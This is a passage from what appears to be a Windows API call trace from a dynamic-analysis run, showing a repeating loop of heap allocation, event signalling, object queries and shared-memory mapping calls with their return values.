(hEvent=0xdc) returned 1 [0093.865] SetEvent (hEvent=0xe0) returned 1 [0093.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.866] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.866] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.866] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.866] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.866] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.866] ResetEvent (hEvent=0xdc) returned 1 [0093.866] SetEvent (hEvent=0xe0) returned 1 [0093.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.867] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.867] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.867] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.867] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.867] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.867] ResetEvent (hEvent=0xdc) returned 1 [0093.867] SetEvent (hEvent=0xe0) returned 1 [0093.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.868] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.868] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.868] ResetEvent (hEvent=0xdc) returned 1 [0093.868] SetEvent (hEvent=0xe0) returned 1 [0093.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.868] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.869] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.869] ResetEvent (hEvent=0xdc) returned 1 [0093.869] SetEvent (hEvent=0xe0) returned 1 [0093.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.869] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.870] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.870] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.870] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.870] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.870] ResetEvent (hEvent=0xdc) returned 1 [0093.870] SetEvent (hEvent=0xe0) returned 1 [0093.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.871] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.871] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.871] ResetEvent (hEvent=0xdc) returned 1 [0093.871] SetEvent (hEvent=0xe0) returned 1 [0093.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.871] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.872] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.872] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.872] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.872] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.872] ResetEvent (hEvent=0xdc) returned 1 [0093.872] SetEvent (hEvent=0xe0) returned 1 [0093.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.872] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.873] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.873] ResetEvent (hEvent=0xdc) returned 1 [0093.873] SetEvent (hEvent=0xe0) returned 1 [0093.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.873] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.874] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.874] ResetEvent (hEvent=0xdc) returned 1 [0093.874] SetEvent (hEvent=0xe0) returned 1 [0093.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.874] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.874] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.875] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.875] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.875] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.875] ResetEvent (hEvent=0xdc) returned 1 [0093.875] SetEvent (hEvent=0xe0) returned 1 [0093.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.875] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.875] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.876] ResetEvent (hEvent=0xdc) returned 1 [0093.876] SetEvent (hEvent=0xe0) returned 1 [0093.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.876] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.876] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.876] ResetEvent (hEvent=0xdc) returned 1 [0093.876] SetEvent (hEvent=0xe0) returned 1 [0093.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.877] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.877] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.877] ResetEvent (hEvent=0xdc) returned 1 [0093.877] SetEvent (hEvent=0xe0) returned 1 [0093.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.878] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.878] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.878] ResetEvent (hEvent=0xdc) returned 1 [0093.878] SetEvent (hEvent=0xe0) returned 1 [0093.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.878] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.879] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.879] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.879] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.879] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.879] ResetEvent (hEvent=0xdc) returned 1 [0093.879] SetEvent (hEvent=0xe0) returned 1 [0093.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.879] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.880] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.880] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.880] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.880] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.880] ResetEvent (hEvent=0xdc) returned 1 [0093.880] SetEvent (hEvent=0xe0) returned 1 [0093.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.880] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.881] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.881] ResetEvent (hEvent=0xdc) returned 1 [0093.881] SetEvent (hEvent=0xe0) returned 1 [0093.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.881] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.882] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.882] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.882] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.882] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.882] ResetEvent (hEvent=0xdc) returned 1 [0093.882] SetEvent (hEvent=0xe0) returned 1 [0093.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.882] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.883] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.883] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.883] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.883] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.883] ResetEvent (hEvent=0xdc) returned 1 [0093.883] SetEvent (hEvent=0xe0) returned 1 [0093.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.883] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.884] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.884] ResetEvent (hEvent=0xdc) returned 1 [0093.884] SetEvent (hEvent=0xe0) returned 1 [0093.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.884] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.885] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.885] ResetEvent (hEvent=0xdc) returned 1 [0093.885] SetEvent (hEvent=0xe0) returned 1 [0093.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.885] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.886] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.886] ResetEvent (hEvent=0xdc) returned 1 [0093.886] SetEvent (hEvent=0xe0) returned 1 [0093.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.886] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.887] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.887] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.887] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.887] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.887] ResetEvent (hEvent=0xdc) returned 1 [0093.887] SetEvent (hEvent=0xe0) returned 1 [0093.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.887] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.888] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.888] ResetEvent (hEvent=0xdc) returned 1 [0093.888] SetEvent (hEvent=0xe0) returned 1 [0093.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.888] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.888] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.888] ResetEvent (hEvent=0xdc) returned 1 [0093.888] SetEvent (hEvent=0xe0) returned 1 [0093.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.889] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.889] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.889] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.889] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.889] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.889] ResetEvent (hEvent=0xdc) returned 1 [0093.889] SetEvent (hEvent=0xe0) returned 1 [0093.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.890] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.890] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.890] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.890] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.890] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.890] ResetEvent (hEvent=0xdc) returned 1 [0093.890] SetEvent (hEvent=0xe0) returned 1 [0093.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.891] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.891] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.891] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.891] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.891] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.891] ResetEvent (hEvent=0xdc) returned 1 [0093.891] SetEvent (hEvent=0xe0) returned 1 [0093.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.892] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.892] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.892] ResetEvent (hEvent=0xdc) returned 1 [0093.892] SetEvent (hEvent=0xe0) returned 1 [0093.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.893] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.893] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.893] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.893] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.893] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.893] ResetEvent (hEvent=0xdc) returned 1 [0093.893] SetEvent (hEvent=0xe0) returned 1 [0093.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.894] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.894] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, 